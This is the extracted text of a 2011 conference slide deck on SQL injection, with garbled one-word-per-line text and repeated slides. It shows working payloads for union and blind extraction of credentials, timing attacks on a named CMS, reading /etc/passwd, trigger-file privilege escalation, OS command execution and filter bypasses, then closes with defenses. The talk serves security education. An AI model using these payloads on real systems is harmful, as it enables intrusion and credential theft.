The objective of this talk is to demonstrate how to subvert some SQLi (bad but popular) defenses and to show how to properly defend against SQLi attacks.
We will cover topics such as:
- Blind SQLi attacks
- Timing SQLi attacks
- Encoding attacks
- How to subvert some filters
- How you should protect your code against SQLi attacks
Presented at Confraria Security & IT, 26/01/11 Lisbon
note: this is exactly the same talk as given in Codebits IV (2010), without the Codebits CTF qualifier explanation.
This talk was co-presented by me and Nuno Loureiro (http://www.slideshare.net/nuno.loureiro)
2. Summary
Summary: •
Mo$va$on
•
Objec$ves
•
What
is
SQLi?
•
A8ack
using
Tautologies
•
A8ack
using
union
query
•
Blind
Injec$on
•
Timing
A8acks
•
Second
Order
SQLi
•
File
System
Access
•
Piggy-‐backed
Queries
•
Use
of
SELECT
to
INSERT
or
UPDATE
•
Common
Mistakes
while
Protec$ng
•
Int
queries
•
Blacklist
Approach
•
Best
Prac$ces
•
Prepared
Statements
•
Escaping/Valida$ng
Input
SAPO
Websecurity
Team 2
4. Objectives
Two
Objec0ves:
•
Awareness:
•
This
is
a
real
problem
and
it’s
dangerous
•
How
to
protect
your
code:
•
There
are
good
and
bad
protecCons.
SAPO
Websecurity
Team Confraria
InfoSec 4
5. SQLi > What is it?
What
is
it?
• SQL
InjecCon
vulnerabiliCes
are
introduced
when
soJware
developers
use
unstrusted
data
in
the
construcCon
of
dynamic
SQL
queries
Example
of
Vulnerable
query:
Impact
of
SQLi:
• Data
loss
or
corrupCon
• Data
leakage
• DoS
• SomeCmes
can
lead
to
complete
host
takeover
• ReputaCon
can
be
harmed.
SAPO
Websecurity
Team Confraria
InfoSec 5
6. SQLi > Example of Attack using Tautologies
Example
of
Vulnerable
code:
SAPO
Websecurity
Team Confraria
InfoSec 6
7. SQLi > Example of Attack using Tautologies
Example
of
Vulnerable
code:
AFack:
•
h8p://vuln.example/login?username=x’
or
1=1
limit
0,1-‐-‐
-‐
Query
executed:
•
SELECT
id,group,full_name
FROM
users
WHERE
username=’x’
or
1=1
limit
0,1
SAPO
Websecurity
Team Confraria
InfoSec 6
8. SQLi > Example of Attack using Tautologies
Example
of
Vulnerable
code:
AFack:
•
h8p://vuln.example/login?username=x’
or
1=1
limit
0,1-‐-‐
-‐
Query
executed:
•
SELECT
id,group,full_name
FROM
users
WHERE
username=’x’
or
1=1
limit
0,1
Query
returns
the
first
row
of
table
users,
thus
you’ll
login
with
that
user
and
see
his
full
name
SAPO
Websecurity
Team Confraria
InfoSec 6
9. SQLi > More Advanced Attack using union queries
Example
of
Vulnerable
code:
AFack:
•
h8p://vuln.example/login?username=x’
and
1=0
union
select
null,null,table_name
from
informa$on_schema.tables
limit
30,1-‐-‐
-‐
Query
executed:
•
SELECT
id,group,full_name
FROM
users
WHERE
username=’x’
and
1=0
union
select
null,null,table_name
from
informaCon_schema.tables
limit
30,1
SAPO
Websecurity
Team Confraria
InfoSec 7
10. SQLi > More Advanced Attack using union queries
Example
of
Vulnerable
code:
AFack:
•
h8p://vuln.example/login?username=x’
and
1=0
union
select
null,null,table_name
from
informa$on_schema.tables
limit
30,1-‐-‐
-‐
Query
executed:
•
SELECT
id,group,full_name
FROM
users
WHERE
username=’x’
and
1=0
union
select
null,null,table_name
from
informaCon_schema.tables
limit
30,1
• You
use
the
the
UNION
and
the
3rd
column
of
the
query
(full_name)
to
dump
informaCon
from
the
db
• You
can
use
the
ORDER
BY
<fieldNumber>
to
find
the
number
of
columns
in
the
query
• You
can
also
use
CONCAT()
to
retrieve
several
fields
as
one
field
SAPO
Websecurity
Team Confraria
InfoSec 7
12. SQLi > Blind injection
...
but
someCmes
you
are
not
that
lucky.
SomeCmes
the
only
informaCon
you
can
get
is
a
binary
result
-‐
true
or
false,
1
or
0,
error
or
no-‐error.
That
is
called
a
Blind
SQLi.
SAPO
Websecurity
Team Confraria
InfoSec 8
13. SQLi > Blind injection
...
but
someCmes
you
are
not
that
lucky.
SomeCmes
the
only
informaCon
you
can
get
is
a
binary
result
-‐
true
or
false,
1
or
0,
error
or
no-‐error.
That
is
called
a
Blind
SQLi.
Imagine
that
the
following
URL
is
vulnerable
to
a
blind
SQLi:
• hAp://vuln.example.com/news.php?id=12
SAPO
Websecurity
Team Confraria
InfoSec 8
14. SQLi > Blind injection
...
but
someCmes
you
are
not
that
lucky.
SomeCmes
the
only
informaCon
you
can
get
is
a
binary
result
-‐
true
or
false,
1
or
0,
error
or
no-‐error.
That
is
called
a
Blind
SQLi.
Imagine
that
the
following
URL
is
vulnerable
to
a
blind
SQLi:
• hAp://vuln.example.com/news.php?id=12
Trying
to
guess
the
table
name:
• id=5
union
all
select
1,2,3
from
admin
/*
Returns
an
error
if
table
admin
does
not
exist
*/
SAPO
Websecurity
Team Confraria
InfoSec 8
15. SQLi > Blind injection
...
but
someCmes
you
are
not
that
lucky.
SomeCmes
the
only
informaCon
you
can
get
is
a
binary
result
-‐
true
or
false,
1
or
0,
error
or
no-‐error.
That
is
called
a
Blind
SQLi.
Imagine
that
the
following
URL
is
vulnerable
to
a
blind
SQLi:
• hAp://vuln.example.com/news.php?id=12
Trying
to
guess
the
table
name:
• id=5
union
all
select
1,2,3
from
admin
/*
Returns
an
error
if
table
admin
does
not
exist
*/
Trying
to
guess
the
column
names:
• id=5
union
all
select
1,2,passwd
from
admin
/*
Returns
an
error
if
column
passwd
does
not
exist
*/
SAPO
Websecurity
Team Confraria
InfoSec 8
16. SQLi > Blind injection
...
but
someCmes
you
are
not
that
lucky.
SomeCmes
the
only
informaCon
you
can
get
is
a
binary
result
-‐
true
or
false,
1
or
0,
error
or
no-‐error.
That
is
called
a
Blind
SQLi.
Imagine
that
the
following
URL
is
vulnerable
to
a
blind
SQLi:
• hAp://vuln.example.com/news.php?id=12
Trying
to
guess
the
table
name:
• id=5
union
all
select
1,2,3
from
admin
/*
Returns
an
error
if
table
admin
does
not
exist
*/
Trying
to
guess
the
column
names:
• id=5
union
all
select
1,2,passwd
from
admin
/*
Returns
an
error
if
column
passwd
does
not
exist
*/
Extract
‘username:passwd’
from
table
(char
by
char):
• id=5
and
ascii(substring((select
concat(username,0x3a,passwd)
from
users
limit
0,1),1,1))>64
/*
ret
true
*/
• id=5
and
ascii(substring((select
concat(username,0x3a,passwd)
from
users
limit
0,1),1,1))>96
/*
ret
true
*/
• id=5
and
ascii(substring((select
concat(username,0x3a,passwd)
from
users
limit
0,1),1,1))>100
/*
ret
false
*/
• id=5
and
ascii(substring((select
concat(username,0x3a,passwd)
from
users
limit
0,1),1,1))>97
/*
ret
false
*/
(....)
• id=5
and
ascii(substring((select
concat(username,0x3a,passwd)
from
users
limit
0,1),2,1))>64
/*
ret
true
*/
(...)
Don’t
worry,
you
have
tools
to
automaCze
this...
SAPO
Websecurity
Team Confraria
InfoSec 8
17. SQLi > Get around blind SQLi > sqlmap
sqlmap
can
save
you
a
lot
of
Cme
when
exploiCng
a
blind
SQL
injecCon.
There
are
a
lot
of
other
powerful
opCons
at
your
disposal
as
well...
SAPO
Websecurity
Team Confraria
InfoSec 9
18. SQLi > Timing attacks
SomeCmes
you
don’t
even
get
a
True/False
or
Error/Non-‐Error
response.
In
those
cases
you
need
to
use
a
Timing
aback
A
real
example
-‐
LightNEasy
CMS
3.2.1:
POST
Data:
handle="
UNION
SELECT
IF(SUBSTRING(password,1
,1)
=
CHAR(98),
BENCHMARK(10000000,
ENCODE('Slow','Down')),
null),2,3,4,5,6,7,8,9,10,11
FROM
lne_users
WHERE
id="1&password=&do=login&=Login
If
the
first
character
of
the
admin
hash
is
b,
the
query
will
take
around
5
seconds
to
execute
SAPO
Websecurity
Team Confraria
InfoSec 10
19. SQLi > Timing attacks
BENCHMARK()
is
MySQL-‐specific,
but
you
have
alternaCve
funcCons
in
other
DBMS
BENCHMARK(10000000,md5(1))
MySQL
or
SLEEP(5)
PG_SLEEP(5)
PostgreSQL
or
GENERATE_SERIES(1,1000000)
MS
SQL
Server WAITFOR
DELAY
‘0:0:5’
SAPO
Websecurity
Team Confraria
InfoSec 11
20. SQLi > Second Order SQLi
What
is
it?
When
the
abacker
is
able
to
insert
malicious
input
that
does
no
harm
to
the
query
in
the
page
but
will
exploit
a
vulnerability
in
another
page
that
reads
that
malicious
input
to
query
the
database
Example:
•
Create
an
user:
EveMalory’
OR
user=‘admin
•
User
logs
in
•
Ader
logging
in,
the
script
queries
for
user’s
info
based
on
the
retrieved
username:
SELECT
user,
password,
full_name,
age,
homepage,
gender
FROM
users
WHERE
user=‘EveMalory’
OR
user=‘admin’
•
EveMalory
does
not
exist,
thus
we’ll
read
admin’s
info.
SAPO
Websecurity
Team Confraria
InfoSec 12
21. SQLi > File System Access
Read
Access
MySQL
requirements:
FILE
privileges
-‐>
Have
your
ever
typed
“GRANT
ALL
PRIVILEGES...”?
SAPO
Websecurity
Team Confraria
InfoSec 13
22. SQLi > File System Access
Read
Access
MySQL
requirements:
FILE
privileges
-‐>
Have
your
ever
typed
“GRANT
ALL
PRIVILEGES...”?
1-‐
Inject
a
LOAD_FILE()
call
using
your
favorite
SQLi
technique.
...
union
select
1,1,
LOAD_FILE('/etc/passwd'),1,1;
2-‐
Get
the
LOAD_FILE()
output.
-‐
5000
chars
limit
if
abusing
a
varchar
column
-‐
early
char
truncate
if
forcing
SQL
errors
-‐
binary
content
SAPO
Websecurity
Team Confraria
InfoSec 13
23. SQLi > File System Access
Read
Access
MySQL
requirements:
FILE
privileges
-‐>
Have
your
ever
typed
“GRANT
ALL
PRIVILEGES...”?
1-‐
Inject
a
LOAD_FILE()
call
using
your
favorite
SQLi
technique.
...
union
select
1,1,
LOAD_FILE('/etc/passwd'),1,1;
2-‐
Get
the
LOAD_FILE()
output.
-‐
5000
chars
limit
if
abusing
a
varchar
column
-‐
early
char
truncate
if
forcing
SQL
errors
-‐
binary
content
If
you
have
piggy-‐backed
queries
(and
CREATE
TABLE
privileges)
-‐
create
a
support
table
-‐
redirect
LOAD_FILE()
to
other
file
using
INTO
DUMPFILE,
but
hex
encoded
-‐
read
the
second
file
with
LOAD
DATA
INFILE
to
the
support
table
-‐
read
the
support
table
with
standard
SQLi
CREATE
TABLE
potatoes(line
BLOB);
UNION
SELECT
1,1,
HEX(LOAD_FILE('/etc/passwd')),1,1
INTO
DUMPFILE
‘/tmp/potatoes’;
LOAD
DATA
INFILE
'/tmp/potatoes'
INTO
TABLE
potatoes;
SAPO
Websecurity
Team Confraria
InfoSec 13
24. SQLi > File System Access
Write
Access
MySQL
requirements:
FILE
privileges
1-‐
Use
INTO
DUMPFILE
through
union
or
piggy-‐backed
SQLi
LimitaCons
-‐
limits
on
GET
parameters
length
-‐
INTO
DUMPFILE
does
not
append
data
Again,
if
you
have
piggy-‐backed
queries
-‐
create
a
support
table
-‐
INSERT
first
chunk
of
the
file
into
the
table
-‐
using
UPDATE,
CONCAT
the
other
chunks
to
the
first
one
-‐
write
the
file
with
SELECT
INTO
DUMPFILE
SAPO
Websecurity
Team Confraria
InfoSec 14
25. SQLi > File System Access
Operaang
System
Command
Execuaon
MySQL
requirements:
FILE
and
INSERT
privileges,
and
piggy-‐backed
queries
Using
User
Defined
FuncCons
(UDF)
-‐
funcCons
created
from
shared
libraries
on
the
system
to
be
used
in
SELECT
statements
CREATE
FUNCTION
f_name
RETURNS
INTEGER
SONAME
shared_library
-‐
Fingerprint
you
target
-‐
DMBS,
version
and
host
OS
-‐
with
that
find
out
the
shared
libraries
paths
-‐
Create
a
shared
library
locally,
built
with
the
headers
of
the
target
-‐
include
either
the
sys_eval()
or
sys_exec()
funcCon
-‐
Upload
the
craJed
shared
library
to
the
shared
libraries
path
-‐
Create
the
UDF
-‐
Execute
the
OS
command
using
the
sys_*()
funcCons
SAPO
Websecurity
Team Confraria
InfoSec 15
26. SQLi > File System Access
Operaang
System
Command
Execuaon
MS
SQL
Server
is
our
friend
-‐
xp_cmdshell()
procedure
-‐
executes
commands
on
the
host
OS
-‐
returns
the
command
output
-‐
newest
versions
have
it
disabled,
but...
-‐
create
a
support
table
-‐
execute
xp_cmdshell()
and
redirect
output
to
a
temporary
file
-‐
read
the
file
into
the
support
table
using
BULK
INSERT
-‐
SQLi
the
support
table
-‐
clean
up
:)
-‐
use
xp_cmd_shell()
to
delete
temporary
file
-‐
delete
the
support
table
or,
if
you
don’t
care
about
the
output
-‐
execute
xp_cmdshell()
SAPO
Websecurity
Team Confraria
InfoSec 16
27. SQLi > Piggy-backed queries
What
is
it?
The
ability
to
use
the
vulnerability
to
insert
a
second
query
Example
(user
input
in
bold):
SELECT
user,
password
from
users
where
id=2;
drop
table
users
SQL
Server MySQL
PostgreSQL
ASP
ASP.NET
PHP
So,
what
can
we
do
if
MySQL
and
PHP/ASP
is
being
used
and
we
want
to
insert
or
update
data?
SAPO
Websecurity
Team Confraria
InfoSec 17
28. SQLi > Use of SELECT to INSERT or UPDATE
•
Found
by
Stefano
Di
Paola
from
Minded
Security
•
MySQL
specific
•
Requires
FILE
privileges
•
The
idea
is
to
abuse
Triggers
to
insert
or
update
data
•
One
interesCng
property
about
MySQL
Triggers
is
that
they
are
stored
in
text
files
:-‐)
•
Works
whether
the
DBMS
is
hosted
on
the
same
or
on
a
different
server
•
The
only
problem
is
that,
based
on
my
tests,
MySQL
needs
to
be
restarted
aJer
the
aback
SAPO
Websecurity
Team Confraria
InfoSec 18
29. SQLi > Use of SELECT to INSERT or UPDATE
How
to
create
a
Trigger
to
update
the
table
users
to
set
the
groupid
as
admin
when
a
new
user
is
created?
mysql>
create
trigger
utu
before
insert
on
users
for
each
row
set
NEW.groupid='admin';
Query
OK,
0
rows
affected
(0.57
sec)
$
cat
/opt/local/var/db/mysql5/test/utu.TRN:
TYPE=TRIGGERNAME
trigger_table=users
$
cat
/opt/local/var/db/mysql5/test/users.TRG:
TYPE=TRIGGERS
triggers='CREATE
DEFINER=`root`@`localhost`
trigger
utu
before
insert
on
users
for
each
row
set
NEW.groupid='admin''
sql_modes=0
definers='root@localhost'
client_cs_names='laCn1'
connecCon_cl_names='laCn1_swedish_ci'
db_cl_names='laCn1_swedish_ci'
SAPO
Websecurity
Team Confraria
InfoSec 19
30. SQLi > Use of SELECT to INSERT or UPDATE
How
can
we
take
advantage
of
a
SQLi
to
create
the
trigger?
We
can
use
INTO
OUTFILE
to
write
the
trigger
files:
/opt/local/var/db/mysql5/test/users.TRG:
mysql>
select
username
from
users
where
id=3
and
1=0
union
select
'TYPE=TRIGGERS'
into
ouKile
'/opt/local/var/db/mysql5/test/users.TRG'
LINES
TERMINATED
BY
'ntriggers='CREATE
DEFINER=`root`@`localhost`
trigger
utu
before
insert
on
users
for
each
row
set
NEW.groupid=
'admin''nsql_modes=0ndefiners='root@localhost'nclient_cs_names=
'laXn1'nconnecXon_cl_names='laXn1_swedish_ci'ndb_cl_names='laXn1_swedish_ci'n';
Query
OK,
1
row
affected
(0.06
sec)
/opt/local/var/db/mysql5/test/utu.TRN:
mysql>
select
username
from
users
where
id=3
and
1=0
union
select
'TYPE=TRIGGERNAME'
into
ouKile
'/opt/local/var/db/mysql5/test/utu.TRN'
LINES
TERMINATED
BY
'ntrigger_table=users
n';
Query
OK,
1
row
affected
(0.03
sec)
SAPO
Websecurity
Team Confraria
InfoSec 20
31. SQLi > Some Stats
But
wait,
is
SQLi
a
common
problem?
YES!
According
to
exploit-‐db.com,
from
Sep-‐Nov
2010
they
reported:
•
190
SQLi
vulnerabiliCes
in
popular
Web
Applicaaons,
•40
were
blind
SQLi
•36
were
in
Joomla
Components
SAPO
Websecurity
Team Confraria
InfoSec 21
32. SQLi > Some Stats
To
get
this
stats,
I
was
searching
for
the
string
“sql
injecCon”...
..
and
I
noCced
that
the
results
page
was
broken,
so
I
tried
to
exploit
it
and
found
it
was
vulnerable
to
XSS.
I
reported
the
vulnerability
and
it
was
fixed
within
10
minutes.
SAPO
Websecurity
Team Confraria
InfoSec 22
33. SQLi > Wrong Protections
Common
Mistakes
When
Protecang
your
Code
SAPO
Websecurity
Team Confraria
InfoSec 23
34. SQLi > Wrong Protections > Int values
SAPO
Websecurity
Team Confraria
InfoSec 24
35. SQLi > Wrong Protections > Int values
Some
folks
say
that
escaping
user
input
is
enough
(‘
,
“
,
r,
n,
NUL
and
Control-‐Z)
to
prevent
SQLi,
but
is
it?
SAPO
Websecurity
Team Confraria
InfoSec 24
36. SQLi > Wrong Protections > Int values
Some
folks
say
that
escaping
user
input
is
enough
(‘
,
“
,
r,
n,
NUL
and
Control-‐Z)
to
prevent
SQLi,
but
is
it?
Imagine
the
following
query
string
from
user.php
which
displays
the
name
of
the
user
:
Is
this
vulnerable
to
SQLi?
SAPO
Websecurity
Team Confraria
InfoSec 24
37. SQLi > Wrong Protections > Int values
Some
folks
say
that
escaping
user
input
is
enough
(‘
,
“
,
r,
n,
NUL
and
Control-‐Z)
to
prevent
SQLi,
but
is
it?
Imagine
the
following
query
string
from
user.php
which
displays
the
name
of
the
user
:
Is
this
vulnerable
to
SQLi?
What
if
I
enter
the
following
URL:
• hAp://vuln.example.com/user.php?id=12
AND
1=0
union
select
1,concat(user,0x3a,password),
3,4,5,6
from
mysql.user
where
user=substring_index(current_user(),char(64),1)
SAPO
Websecurity
Team Confraria
InfoSec 24
38. SQLi > Wrong Protections > Int values
Some
folks
say
that
escaping
user
input
is
enough
(‘
,
“
,
r,
n,
NUL
and
Control-‐Z)
to
prevent
SQLi,
but
is
it?
Imagine
the
following
query
string
from
user.php
which
displays
the
name
of
the
user
:
Is
this
vulnerable
to
SQLi?
What
if
I
enter
the
following
URL:
• hAp://vuln.example.com/user.php?id=12
AND
1=0
union
select
1,concat(user,0x3a,password),
3,4,5,6
from
mysql.user
where
user=substring_index(current_user(),char(64),1)
The
query
result
is
the
following:
mysql_real_escape_string()
will
not
escape
any
character
because
there
isn’t
any
to
be
escaped,
therefore
root:*31EFD0D03381795E5B770791D7A56CCD379F1141
will
be
output
to
the
screen
SAPO
Websecurity
Team Confraria
InfoSec 24
40. SQLi > Wrong Protections > Alternate Encodings
I
found
this
in
a
Quiz
for
a
Security
course
from
a
popular
University:
•
Consider
the
GBK
Chinese
unicode
charset
•
Let’s
take
a
look
at
some
characters:
0x 5c =
0x 27 = ʼ db
interprets
as
2
chars
0x bf 27 = ¿ʼ
0x bf 5c = db
interprets
as
a
single
chinese
char
SAPO
Websecurity
Team Confraria
InfoSec 25
41. SQLi > Wrong Protections > Alternate Encodings
I
found
this
in
a
Quiz
for
a
Security
course
from
a
popular
University:
•
Consider
the
GBK
Chinese
unicode
charset
•
Let’s
take
a
look
at
some
characters:
0x 5c =
0x 27 = ʼ db
interprets
as
2
chars
0x bf 27 = ¿ʼ
0x bf 5c = db
interprets
as
a
single
chinese
char
•
Imagine
that
you
use
addslashes()
to
escape
input
in
your
code
•
If
abacker
inputs
¿' or
1=1 , the string becomes ¿' (0xbf5c27)
• But
0xbf5c
is
the
chinese
char
,
thus
the
resulCng
string
is
interpreted
as
‘
OR
1=1
•
In
case
you
haven’t
noCced,
you
just
bypassed
the
escaping
funcCon
SAPO
Websecurity
Team Confraria
InfoSec 25
43. SQLi > Wrong Protections > Blacklist filtering
•
Blacklists,
i.e
filter
out
some
chars
or
expressions,
is
not
a
good
pracCce
SAPO
Websecurity
Team Confraria
InfoSec 26
44. SQLi > Wrong Protections > Blacklist filtering
•
Blacklists,
i.e
filter
out
some
chars
or
expressions,
is
not
a
good
pracCce
•
Imagine
that
you
filter
the
following
from
user
input:
•
Spaces
•
Quotes
(“
and
‘)
•
Some
SQL
keywords
(like
where)
SAPO
Websecurity
Team Confraria
InfoSec 26
45. SQLi > Wrong Protections > Blacklist filtering
•
Blacklists,
i.e
filter
out
some
chars
or
expressions,
is
not
a
good
pracCce
•
Imagine
that
you
filter
the
following
from
user
input:
•
Spaces
•
Quotes
(“
and
‘)
•
Some
SQL
keywords
(like
where)
You
shall
not
use
spaces:
SELECT/**/passwd/**/from/**/user
or
SELECT(passwd)from(user)
SAPO
Websecurity
Team Confraria
InfoSec 26
46. SQLi > Wrong Protections > Blacklist filtering
•
Blacklists,
i.e
filter
out
some
chars
or
expressions,
is
not
a
good
pracCce
•
Imagine
that
you
filter
the
following
from
user
input:
•
Spaces
•
Quotes
(“
and
‘)
•
Some
SQL
keywords
(like
where)
You
shall
not
use
spaces:
SELECT/**/passwd/**/from/**/user
or
SELECT(passwd)from(user)
You
shall
not
use
quotes:
SELECT
passwd
from
users
where
user=0x61646D696E (hex
for
admin)
SAPO
Websecurity
Team Confraria
InfoSec 26
47. SQLi > Wrong Protections > Blacklist filtering
•
Blacklists,
i.e
filter
out
some
chars
or
expressions,
is
not
a
good
pracCce
•
Imagine
that
you
filter
the
following
from
user
input:
•
Spaces
•
Quotes
(“
and
‘)
•
Some
SQL
keywords
(like
where)
You
shall
not
use
spaces:
SELECT/**/passwd/**/from/**/user
or
SELECT(passwd)from(user)
You
shall
not
use
quotes:
SELECT
passwd
from
users
where
user=0x61646D696E (hex
for
admin)
You
shall
not
use
the
where
keyword:
You
can
use
HAVING
and
IF()
and
ORDER
BY
You
get
the
idea...
SAPO
Websecurity
Team Confraria
InfoSec 26
48. SQLi > How to Protect against SQLi?
Two
main
defenses:
•
Prepared
Statements
/
Parameterized
Queries
•
Escaping/ValidaCng
Input
SAPO
Websecurity
Team Confraria
InfoSec 27
49. SQLi > Protect against SQLi > Prepared Statements
Prepared
Statements:
•
Prepared
statements
keep
the
query
structure
and
query
data
separated
through
the
use
of
placeholders
known
as
bound
parameters.
The
developer
must
then
set
values
for
the
placeholders.
•
Prepared
statements
ensure
that
an
abacker
is
not
able
to
change
the
intent
of
a
query,
even
if
SQL
commands
are
inserted
by
an
abacker
Example:
SAPO
Websecurity
Team Confraria
InfoSec 28
50. SQLi > Protect against SQLi > Escaping/Validating INPUT
•
If
Prepared
Statements
are
not
possible
you
should
Escape
and
Validate
user
input
•
You
can
also
use
this
technique
in
addi$on
to
prepared
statements
If
you
know
what
input
you
are
expecCng
you
can
validate
it:
•
If
you
are
expecCng
integers
cast
the
input
to
integer
or
use
PHP’s
intval()
•
If
you
are
expecCng
an
email
address
you
can
use
a
regexp
to
validate
it
•
If
you
are
expecCng
the
user’s
name
it’s
not
so
simple
(because
of
the
‘)
Escape
all
the
user
input:
•
Each
programming
language
has
its
own
funcCons
or
methods
•
in
PHP
you
can
use
addslashes()
(with
cauCon)
•
If
possible
use
the
DBMS
specific
escaping
funcCon
(e.g.
mysql_real_escape_string())
SAPO
Websecurity
Team Confraria
InfoSec 29
51. SQLi > Protect against SQLi > Other
Other
important
recommendaaons:
•
Create
a
specific
database
user
to
be
used
exclusively
by
your
Web
App
•
Only
grant
the
user
with
the
necessary
privileges
(exclude
file,
drop,
create,
etc
from
the
list)
•
Limit
the
access
to
the
database
to
localhost
only
(if
possible)
or
to
the
Web
frontends
•
Limit
the
access
of
the
database
user
to
the
Web
App
database
only
(don’t
allow
the
db
user
to
access
other
databases)
•
SET
THE
DBMS
ROOT’S
PASSWORD!
(seriously)
•
Use
strong
passwords
in
your
DBMS
for
root
and
all
other
users
SAPO
Websecurity
Team Confraria
InfoSec 30